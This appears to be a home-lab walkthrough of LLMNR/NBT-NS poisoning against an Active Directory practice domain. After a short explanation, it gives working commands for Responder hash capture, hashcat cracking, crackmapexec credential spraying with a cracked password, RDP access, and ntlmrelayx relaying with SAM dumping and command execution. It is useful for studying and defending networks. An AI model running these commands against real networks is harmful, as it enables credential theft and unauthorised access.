LLMNR and NBT-NS Poisoning
LLMNR (Link-Local Multicast Name Resolution) poisoning, also known as NBT-NS (NetBIOS Name Service) poisoning, is a network attack that involves the manipulation or interception of DNS-like name resolution requests within a local network. This attack targets the way Windows devices attempt to resolve hostnames to IP addresses when DNS name resolution fails. LLMNR and NBT-NS are used as fallback methods for hostname resolution, primarily in Windows environments.
Here’s an overview of LLMNR poisoning:
How LLMNR Works:
When a Windows system attempts to resolve a hostname to an IP address and standard DNS resolution fails, it may use LLMNR and NBT-NS as fallback mechanisms.
LLMNR uses multicast messages to query other devices on the local network for the hostname’s IP address.
NBT-NS works similarly but uses NetBIOS broadcasts to resolve hostnames.
LLMNR poisoning is a type of man-in-the-middle (MITM) attack where an attacker intercepts LLMNR and NBT-NS requests on the local network.
The attacker responds to these requests with spoofed responses, claiming to be the target device with the requested hostname.
This can redirect network traffic to the attacker’s system, potentially allowing for eavesdropping or other malicious activities.
responder -I vboxnet0 -wd
We got hashes of 2 new users NORTH\eddard.stark and NORTH\robb.stark. Now we can either relay these hashes or crack them using Hashcat.
hashcat -m 5600 ntlmv2-ssp-hashes /usr/share/wordlists/rockyou.txt
We were able to crack hash of user robb.stark but for user eddard.stark we didn’t found the password in the rockyou.txt
Checking the creds for robb.stark on all hosts.
crackmapexec smb live_hosts -u "robb.stark" -p "sexywolfy"
We got RCE on 192.168.56.11(WINTERFELL) machine. We can try to rdp to WINTERFELL machine.
xfreerdp /u:robb.stark /v:192.168.56.11 /p:sexywolfy
Next thing we can try is to relay these hashes to hosts with smb signing disabled. To generate a list of hosts with smb signing disabled we can use the below command-
crackmapexec smb live_hosts --gen-relay-list hosts-smb-signing-disabled.txt
Relaying the hashes to hosts with smb signing disabled-
Note: responder should be running as well with smb disabled as, now ntlmrelayx will be listening on port 445.
impacket-ntlmrelayx -tf hosts-smb-signing-disabled.txt -smb2support
By default ntlmrelayx will dump the hashes from SAM hive.
For command execution we can use -c option
impacket-ntlmrelayx -tf hosts-smb-signing-disabled.txt -smb2support -c 'whoami /all' -debug
When smb signing is enabled on client side, we need to use